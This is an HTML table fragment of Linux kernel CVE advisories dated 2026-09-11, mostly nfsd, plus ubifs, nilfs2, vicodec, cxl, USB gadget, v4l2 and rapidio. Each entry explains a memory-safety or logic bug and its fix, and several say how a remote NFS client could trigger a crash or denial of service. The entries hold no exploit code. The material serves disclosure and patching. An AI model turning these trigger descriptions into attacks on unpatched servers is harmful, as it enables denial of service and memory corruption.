&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix nfsd_file leak on inter-server COPY setup failure When nfsd4_setup_inter_ssc() fails, nfsd4_copy() returns nfserr_offload_denied directly, bypassing the out: label where release_copy_files() would drop the nf_dst reference taken by nfs4_preprocess_stateid_op(). Each failed inter-server COPY leaks one nfsd_file, pinning file/inode/dentry/vfsmount. Fix by setting status and jumping to out: instead of returning directly.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89680&quot; target=&quot;_blank&quot;&gt;CVE-2026-89680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix cpntf publish race in nfs4_init_cp_state nfs4_alloc_init_cpntf_state() published the new cpntf entry into the s2s_cp_stateids IDR (with cs_type set) in one s2s_cp_lock section, then took the lock again to list_add() it onto p_stid-&amp;gt;sc_cp_list. In the gap the entry is reachable by so_id but cp_list is still {NULL,NULL} from kzalloc. A racing OFFLOAD_CANCEL (so_id is echoed to the client as cnr_stateid, so any NFSv4.2 client can drive it) reaches manage_cpntf_state() -&amp;gt; _free_cpntf_state_locked() and does list_del() on the zeroed list_head, oopsing the server. Fold the cs_type assignment and the list_add() into the same critical section as idr_alloc_cyclic(), so a concurrent lookup either misses the entry or sees a fully linked cp_list. INIT_LIST_HEAD() the entry after allocation and switch _free_cpntf_state_locked() to list_del_init() so a stale unlink is a no-op. nfs4_init_copy_state() passes NULL p_stid and skips the list_add, preserving NFS4_COPY_STID semantics.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89684&quot; target=&quot;_blank&quot;&gt;CVE-2026-89684&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: fix clock domain mismatch in clients_still_reclaiming() clients_still_reclaiming() computes a deadline from nn-&amp;gt;boot_time (CLOCK_REALTIME, ~1.7 billion) but compares it against ktime_get_boottime_seconds() (CLOCK_BOOTTIME, seconds since boot). The comparison is always false - it would take ~54 years of uptime for BOOTTIME to exceed the REALTIME-derived deadline. This means any client can hold the server in grace indefinitely by sending CLAIM_PREVIOUS OPEN requests, blocking all non-reclaim operations for all other clients. Add boot_time_bt (CLOCK_BOOTTIME) alongside the existing boot_time and use it for the deadline computation. boot_time (CLOCK_REALTIME) is preserved for its cl_boot clientid-nonce role.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89685&quot; target=&quot;_blank&quot;&gt;CVE-2026-89685&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: ensure nfsd_file_do_acquire() does not use a non-opened file -&amp;gt;atomic_open is permitted to return success without actually opening the file. It indicates this by calling finish_no_open(). This means dentry_create() can return a file which hasn&#039;t been opened. This is extremely unlikely as -&amp;gt;atomic_open handlers typically use finish_no_open() only for already existing files, and dentry_create() isn&#039;t called in that case, and the parent being locked should prevent races. However out of an abundance of caution it seems wise to teach nfsd to only use the file returned by dentry_create() if FMODE_OPENED is set, indicating that it has in fact been opened.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89687&quot; target=&quot;_blank&quot;&gt;CVE-2026-89687&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: defer vfree of compound ops to fix rpc_status UAF The rpc_status netlink dumpit walks every in-flight svc_rqst under rcu_read_lock and, for NFSv4 requests, reads opnums out of args-&amp;gt;ops[]. But args-&amp;gt;ops is a separate vmalloc buffer freed synchronously by vfree() in nfsd4_release_compoundargs() at the end of every compound. The dumpit&#039;s rcu_read_lock pins the svc_rqst struct itself (freed via kfree_rcu), but nothing defers the vfree of the ops buffer across the RCU grace period. A concurrent compound completion can therefore free the buffer while the dumpit is reading it - a use-after-free on vmalloc memory. The trailing seqcount recheck (smp_load_acquire of rq_status_counter) cannot undo a load that already retired against freed memory. Fix by replacing vfree(args-&amp;gt;ops) with kvfree_rcu_mightsleep(), which defers the free until after an RCU grace period. This makes the existing rcu_read_lock in the dumpit sufficient to protect the read. The tradeoff is that completed compound ops buffers (up to 200 * sizeof(struct nfsd4_op)) persist in memory slightly longer, across one grace period, before being reclaimed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89690&quot; target=&quot;_blank&quot;&gt;CVE-2026-89690&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: clear opcnt on compound arg release to prevent OOB read nfsd4_release_compoundargs() resets args-&amp;gt;ops to the inline iops[8] array when the dynamically-allocated ops buffer is freed, but leaves args-&amp;gt;opcnt at its original value (which can be up to 200 for NFSv4.1+ compounds). If rq_status_counter is stuck at an odd value (which can happen when nfsd_dispatch() hits an error path after setting it odd), the RPC status dumpit handler reads min(opcnt, 16) entries from args-&amp;gt;ops[]. Since iops only has 8 elements and is the last field in struct nfsd4_compoundargs, reading indices 8-15 accesses adjacent slab memory and leaks it to userspace via netlink. Zero opcnt unconditionally in nfsd4_release_compoundargs() so stale compound metadata is never exposed through the status interface. [ cel: Remove the kvfree_rcu_mightsleep() sleep from the exposure window ]&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89691&quot; target=&quot;_blank&quot;&gt;CVE-2026-89691&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: clear CALLBACK_RUNNING on failed delegation recall queue nfsd_break_one_deleg() sets NFSD4_CALLBACK_RUNNING via test_and_set_bit at entry to serialize recall work, then calls nfsd4_run_cb() to queue the recall. When the queue attempt fails the refcount bump is undone, but the RUNNING bit is left set. The only site that clears the bit is nfsd41_destroy_cb() (fs/nfsd/nfs4callback.c), which runs from the workqueue and is therefore unreachable when nothing was queued. The bit becomes a permanent latch on dp-&amp;gt;dl_recall.cb_flags: every subsequent break_lease() on the same delegation hits the early-return guard in nfsd_break_one_deleg() and silently skips the recall, so the delegation is never broken and the conflicting open or lock stalls. Fix by clearing NFSD4_CALLBACK_RUNNING on the !queued branch alongside the refcount_dec.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89692&quot; target=&quot;_blank&quot;&gt;CVE-2026-89692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: cap decoded POSIX ACL count to bound sort cost nfsd4_decode_posixacl() reads a u32 entry count off the wire and passes it straight to posix_acl_alloc() and sort_pacl_range(). The latter is an O(n^2) bubble sort, so a client-chosen count drives unbounded CPU in the server&#039;s compound processing path. nfsd4_decode_posixacl() xdr_stream_decode_u32(&amp;amp;count) /* uncapped u32 */ posix_acl_alloc(count, GFP_KERNEL) sort_pacl_range(*acl, 0, count - 1) /* O(n^2) bubble sort */ The encoder side in the same file already rejects ACLs whose a_count exceeds NFS_ACL_MAX_ENTRIES, but the decoder introduced in commit 5fc51dfc2eb1 (&quot;NFSD: Add support for XDR decoding POSIX draft ACLs&quot;) omitted the symmetric check. Fix by rejecting a wire count greater than NFS_ACL_MAX_ENTRIES with nfserr_inval, before any allocation, so the sort is bounded by NFS_ACL_MAX_ENTRIES^2 comparisons. While we&#039;re in here, also fix the nfserr_resource return if posix_acl_alloc() fails. That&#039;s not a legal error code for v4.1+. Change it to return nfserr_jukebox as that&#039;s more appropriate for memory allocation failures.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89695&quot; target=&quot;_blank&quot;&gt;CVE-2026-89695&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: block non-SAVEFH ops after FOREIGN PUTFH to prevent NULL deref When CONFIG_NFSD_V4_2_INTER_SSC is enabled, nfsd4_putfh() can return success with fh_dentry and fh_export both NULL if fh_verify() returns nfserr_stale and putfh-&amp;gt;no_verify is true. The NFSD4_FH_FOREIGN flag is set, but the compound dispatch loop only uses this flag to bypass the nfserr_nofilehandle check -- it does not prevent subsequent ops from running with a NULL fh_dentry. A remote client can exploit this by crafting a COMPOUND that includes an inter-SSC COPY (which causes check_if_stalefh_allowed() to set no_verify=true on the saved PUTFH) with an additional op inserted between the source PUTFH and SAVEFH. For example, SETATTR calls fh_want_write() which dereferences fh_export-&amp;gt;ex_path.mnt without calling fh_verify() first, causing a NULL pointer dereference in the nfsd kthread. Fix this by gating the dispatch loop: when NFSD4_FH_FOREIGN is set and fh_dentry is NULL, only OP_SAVEFH (needed for the inter-SSC flow) and ops with ALLOWED_WITHOUT_FH (which don&#039;t need a resolved filehandle) may proceed. All other ops receive nfserr_stale, per RFC 7862 Section 15.2.3 which specifies that foreign filehandle validation is deferred to the consuming operation and NFS4ERR_STALE returned at that point.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89696&quot; target=&quot;_blank&quot;&gt;CVE-2026-89696&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: validate symlink target length in NFSv4 CREATE nfsd4_decode_create() accepts an unbounded cr_datalen from the wire for NF4LNK symlink targets, allowing a client to force a kmalloc of up to the maximum RPC payload size (several MiB) per COMPOUND op that persists until compound teardown. The VFS rejects oversized targets with ENAMETOOLONG, but the allocation has already occurred. Reject cr_datalen == 0 early with nfserr_inval and cr_datalen greater than NFS4_MAXPATHLEN (PATH_MAX) with nfserr_nametoolong to bound the allocation.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89699&quot; target=&quot;_blank&quot;&gt;CVE-2026-89699&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: sample writeback error cursor before async COPY loop _nfsd_copy_file_range() samples dst-&amp;gt;f_wb_err into &quot;since&quot; after the copy loop, then uses it to detect writeback errors via filemap_check_wb_err() once vfs_fsync_range() returns. Because the nfsd_file cache reuses a single struct file across requests targeting the same inode, a concurrent COMMIT or stable WRITE on dst advances dst-&amp;gt;f_wb_err to the current mapping-&amp;gt;wb_err via file_check_and_advance_wb_err() during its own vfs_fsync_range(). If that advancement lands between the writeback error appearing in mapping-&amp;gt;wb_err and the COPY worker sampling &quot;since&quot;, the worker captures the already-advanced cursor, errseq_check() sees cur == since and returns zero, and NFSD4_COPY_F_COMMITTED is set even though writeback failed. CB_OFFLOAD then encodes wr_stable_how = FILE_SYNC4, the client treats the copied data as durable, and the failure becomes silent data loss. Sample since once at the start of the function. The cursor then reflects state in effect before this COPY issues any writes, and filemap_check_wb_err() detects any error that occurs during the copy regardless of which thread first observes it. This matches the pattern used by nfsd_vfs_write() and nfsd4_clone_file_range().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89704&quot; target=&quot;_blank&quot;&gt;CVE-2026-89704&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: restore rq_status_counter to even on all nfsd_dispatch() exit paths nfsd_dispatch() sets rq_status_counter to an odd value once a request has been decoded, and back to an even value once it has been fully processed, forming a seq-lock like protocol with the lockless reader in nfsd_nl_rpc_status_get_dumpit(). Only the fully successful path restored the counter to even. The cache-hit (RC_REPLY), drop (RC_DROPIT / RQ_DROPME) and encode-error paths all return after the odd-valued store without ever bringing the counter back to even. Once one of those paths is taken, rq_status_counter is left odd: the next request&#039;s decode ORs in 1 (still odd) and only a subsequent successful encode restores even. While stuck odd, the dumpit reader treats the rqstp fields as stable and its retry check compares against the same unchanging odd value, so it never detects concurrent mutation. This exposes actively mutating fields (e.g. args-&amp;gt;ops / args-&amp;gt;opcnt during compound decode and release) to the lockless reader, which can read past the end of the 8-element inline ops array. Add a helper that advances the counter to the next even value and call it on every return path that follows the odd-valued store. The decode-error path is left untouched as it is reached before the counter is set odd.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89705&quot; target=&quot;_blank&quot;&gt;CVE-2026-89705&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: Reset write verifier when async COPY writeback fails Async COPY captures nn-&amp;gt;writeverf at request time and reports it to the client via CB_OFFLOAD after the worker kthread completes. When the post-copy vfs_fsync_range() or filemap_check_wb_err() in _nfsd_copy_file_range() reports an error, the worker correctly leaves NFSD4_COPY_F_COMMITTED clear so that CB_OFFLOAD encodes wr_stable_how as NFS_UNSTABLE, but the server&#039;s write verifier is not rotated. A client that receives NFS_UNSTABLE in CB_OFFLOAD follows up with COMMIT to make the copied data durable. With the verifier unchanged, COMMIT returns the same value the client just received via CB_OFFLOAD, and the client concludes the copy is durable -- silently dropping the data whose writeback in fact failed. This violates the UNSTABLE+COMMIT durability contract (RFC 7862 section 15.1, RFC 8881 section 18.32) and matches the bug just fixed in nfsd_vfs_write() and nfsd_commit(). Rotate nn-&amp;gt;writeverf at the writeback-failure site. The async COPY worker has no svc_rqst, so commit_reset_write_verifier() is not available here; calling nfsd_reset_write_verifier() directly mirrors the trace-less reset already used by nfsd_file_check_write_error() for the same purpose. Filter out -EAGAIN and -ESTALE, matching commit_reset_write_verifier(), since neither indicates a durable-storage failure.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89706&quot; target=&quot;_blank&quot;&gt;CVE-2026-89706&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfsd: release path refs on follow_down() error nfsd_cross_mnt() initializes a local struct path with mntget() and dget() before calling follow_down(). On a negative return the error arm jumps to out without releasing those references: err = follow_down(&amp;amp;path, follow_flags); if (err &amp;lt; 0) goto out; follow_down() never drops the caller&#039;s entry-time refs on any error sub-case; for example a pre-cross d_manage() failure leaves path untouched, so the mntget()/dget() taken on entry survive the call. Every other early-exit arm in nfsd_cross_mnt() (other-namespace return, IS_ERR(exp2), and the success tail after the swap) already calls path_put(&amp;amp;path); the err &amp;lt; 0 arm is the lone omission. The leak inflates mnt_count and d_count on each failed cross-mount, blocking umount and pinning dentries against the shrinker, and is reachable by any authenticated NFS client through nfsd_lookup_dentry or the NFSv4 READDIR encode path. Fix by calling path_put(&amp;amp;path) before the goto out in the err &amp;lt; 0 arm so the entry-time refs are released on all follow_down() error returns.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89707&quot; target=&quot;_blank&quot;&gt;CVE-2026-89707&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ubifs: fix out-of-bounds read in signature length check ubifs_sb_verify_signature() bounds the on-disk ubifs_sig_node-&amp;gt;len field before handing the signature payload to verify_pkcs7_signature(), but the check has the wrong sign: if (le32_to_cpu(signode-&amp;gt;len) &amp;gt; snod-&amp;gt;len + sizeof(struct ubifs_sig_node)) The signature bytes start sizeof(struct ubifs_sig_node) (UBIFS_SIG_NODE_SZ, 64 bytes) into the node, so the payload is at most snod-&amp;gt;len - sizeof(struct ubifs_sig_node) bytes long. Adding the header size instead of subtracting it accepts a declared length up to 2 * UBIFS_SIG_NODE_SZ larger than the node actually holds -- past the end of c-&amp;gt;sbuf, which is vmalloc(c-&amp;gt;leb_size). verify_pkcs7_signature() -&amp;gt; pkcs7_parse_message() -&amp;gt; asn1_ber_decoder() is then handed that inflated length and reads beyond the allocation while walking the DER headers. The node length comes straight from the mounted image, so a crafted signed UBIFS image reaches this via ubifs_read_superblock() before the signature is cryptographically checked. snod-&amp;gt;len is guaranteed to be &amp;gt;= UBIFS_SIG_NODE_SZ by the node scanner (c-&amp;gt;ranges[UBIFS_SIG_NODE].min_len == UBIFS_SIG_NODE_SZ), so the corrected subtraction cannot underflow. Legitimately signed images are unaffected: a correct superblock never declares a signature longer than the node it is embedded in.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89720&quot; target=&quot;_blank&quot;&gt;CVE-2026-89720&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nilfs2: fix slab-out-of-bounds in nilfs_direct_propagate after truncation Shuangpeng Bai reported that KASAN detected a slab-out-of-bounds error in nilfs_direct_propagate() during testing. Analysis revealed that after truncating a file, a node block immediately below the B-tree root was not deleted. Instead, it remained in the B-tree node cache in a dirty state. The log writer subsequently detected this block and incorrectly invoked nilfs_direct_propagate() on it, which is designed to handle only data blocks in direct mapping. B-tree nodes in the cache are managed by virtual block numbers, and their logical keys typically exceed the range expected by direct mapping. Consequently, processing such a node as a direct mapping entry triggers a slab-out-of-bounds access. The root cause is that when a B-tree mapping collapses into a direct mapping during truncation, an intermediate node block pointed to by the root node is left behind as garbage instead of being explicitly deleted. This resolves the issue by adding a nilfs_btree_discard() operation to delete the remaining intermediate node block during the conversion. A &#039;deform&#039; flag is added to the bop_delete interface to explicitly signal that the deletion is part of a mapping transformation. This allows the B-tree mapping implementation to perform the necessary cleanup and discarding of the residual node structure that would be otherwise be left orphaned after the transition.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89723&quot; target=&quot;_blank&quot;&gt;CVE-2026-89723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: vicodec: fix out-of-bounds write in FWHT encoder vidioc_s_fmt_vid_out() sizes the encoder CAPTURE buffer from the compressed descriptor pixfmt_fwht, whose sizeimage_mult is 3: coded_w * coded_h * 3 + sizeof(struct fwht_cframe_hdr). fwht_encode_frame() encodes one plane per component, and an incompressible plane takes the FWHT_FRAME_UNENCODED path in encode_plane(), copying the plane verbatim. For a 4-component pixel format all four planes are full resolution (width_div == height_div == 1), so a frame that forces every plane through the unencoded fallback writes sizeof(struct fwht_cframe_hdr) + 4 * coded_w * coded_h bytes, overrunning the plane by coded_w * coded_h, which can result in corruption of adjacent kernel heap memory. Bump pixfmt_fwht.sizeimage_mult from 3 to 4, matching the largest components_num among the supported raw formats, so the capture buffer is always large enough for the unencoded fallback.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89724&quot; target=&quot;_blank&quot;&gt;CVE-2026-89724&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cxl/ras: Fix cxl_rch_get_aer_info() out-of-bounds AER register read cxl_rch_get_aer_info() copies the RCH Downstream Port AER capability from the RCRB MMIO block using a readl() loop bounded by sizeof(struct aer_capability_regs). This struct is a software layout and its embedded struct pcie_tlp_log is larger than the on-wire AER capability. As a result the loop reads past the mapped AER register block. The over-read also populates the software-only tail fields including header_log.header_len. An out-of-range header_len passed to pcie_print_tlp_log() can then loop past the header log buffer and cause a second out-of-bounds read. The read was correct when introduced, but struct pcie_tlp_log has since grown (Header Log and TLP Prefix Log sizes, header_len and flit fields), so sizeof(struct aer_capability_regs) no longer matches the physical AER capability. Bound the read to the physical AER registers, header through the 16 byte Header Log. Zero the destination first so the software-only fields are deterministic.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89731&quot; target=&quot;_blank&quot;&gt;CVE-2026-89731&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: uvc: fix dangling pointers in uvc_function_bind() and uvc_function_unbind() In uvc_function_bind() error path, we use usb_ep_free_request which uses uvc-&amp;gt;control_req but does not set it to NULL afterwards. Thus, uvc-&amp;gt;control_req is a dangling pointer causing a UAF. Also we do not set the uvc-&amp;gt;control_buf pointer to NULL after freeing it, which is another dangling pointer. Fix it by setting uvc-&amp;gt;control_req to NULL after we run usb_ep_free_request() and uvc-&amp;gt;control_buf to NULL after kfree. Do the same for uvc_function_unbind().&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89733&quot; target=&quot;_blank&quot;&gt;CVE-2026-89733&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: u_audio: Fix use-after-free on sound card disconnect g_audio_cleanup() invokes snd_card_free_when_closed() to initiate sound card teardown and immediately frees the underlying struct snd_uac_chip context. However, snd_card_free_when_closed() returns asynchronously while ALSA control elements (kctls) remain open in userspace. When userspace control applications access or close these open file descriptors, kctl callbacks attempt to dereference kctl-&amp;gt;private_data pointing to &amp;amp;uac-&amp;gt;c_prm or &amp;amp;uac-&amp;gt;p_prm within the freed uac structure, resulting in a use-after-free (UAF) memory corruption. Fix this issue by deferring the destruction of struct snd_uac_chip until all references to the ALSA sound card are released. Register a custom card-&amp;gt;private_free callback (u_audio_card_free) during g_audio_setup() that frees uac and its associated playback/capture request and ring buffers only when the sound card reference count drops to zero.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89736&quot; target=&quot;_blank&quot;&gt;CVE-2026-89736&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: usb: gadget: at91_udc: drain polled-VBUS timer/work before udc is freed In polled-VBUS mode (board.vbus_pin &amp;amp;&amp;amp; board.vbus_polled), probe arms a self-restarting cycle: at91_vbus_timer() schedules vbus_timer_work, and at91_vbus_timer_work() calls at91_vbus_update() and re-arms the timer via mod_timer(). Both recover the same udc through container_of and dereference it on every iteration. Neither teardown path cancels this cycle. udc is devm-allocated, so it is freed after at91udc_remove() returns, and is likewise freed when probe fails and devres runs. A timer callback or work item that is pending or running at either point dereferences the freed udc. Add at91_udc_shutdown_vbus_timer() and call it from at91udc_remove() and from the usb_add_gadget_udc() failure path in probe; the remaining probe error paths fail before the timer is armed. timer_shutdown_sync() waits for a running callback and clears timer-&amp;gt;function, which makes the work handler&#039;s mod_timer() a permanent no-op; cancel_work_sync() then drains any pending or running work whose re-arm attempt now does nothing. The timer must be shut down first, since cancelling the work alone would let the timer re-queue it. The guard mirrors probe: in IRQ mode the timer and work_struct are never initialized. This does not require a fault; a normal driver unbind can interleave with an already queued work item. This issue was found by an in-house static analysis tool.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89738&quot; target=&quot;_blank&quot;&gt;CVE-2026-89738&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Revert &quot;media: v4l2-dev: fix error handling in __video_register_device()&quot; This reverts commit 2a934fdb01db6458288fc9386d3d8ceba6dd551a. The intentions of that patch were good, but it doesn&#039;t work. The idea is that if device_register fails, you have to do a put_device to let the ref counter release resources. However, the V4L2 API says that if video_register_device() fails, then you have to call video_device_release(), which kfree()s the video_device struct. But the put_device() will already have freed the struct, so you end up in a double-free scenario. There is not really a good way of fixing this without breaking video_register_device() into two parts, one that initializes everything, and one that does the actual device_register, and then converting all V4L2 drivers to this new model. That is a massive job, and it is very unlikely that device_register will fail. So rather than ending up in a double-free scenario, just revert this patch, and in that case we&#039;ll have a small memory leak. Which is a lot more robust.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89741&quot; target=&quot;_blank&quot;&gt;CVE-2026-89741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: rapidio: mport_cdev: fix use-after-free in dma_req_free() dma_req_free() acquires buf_mutex through req-&amp;gt;map, drops the mapping reference with kref_put(), and then dereferences req-&amp;gt;map again to unlock the mutex. If kref_put() drops the last reference, mport_release_mapping() frees the mapping, and the subsequent mutex_unlock() dereferences a freed object. This is a use-after-free. Fix this by caching map and md before kref_put(), clearing req-&amp;gt;map while holding buf_mutex, and using the cached md for mutex unlocking. The bug is reachable from userspace via the RapidIO mport character device interface.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89742&quot; target=&quot;_blank&quot;&gt;CVE-2026-89742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
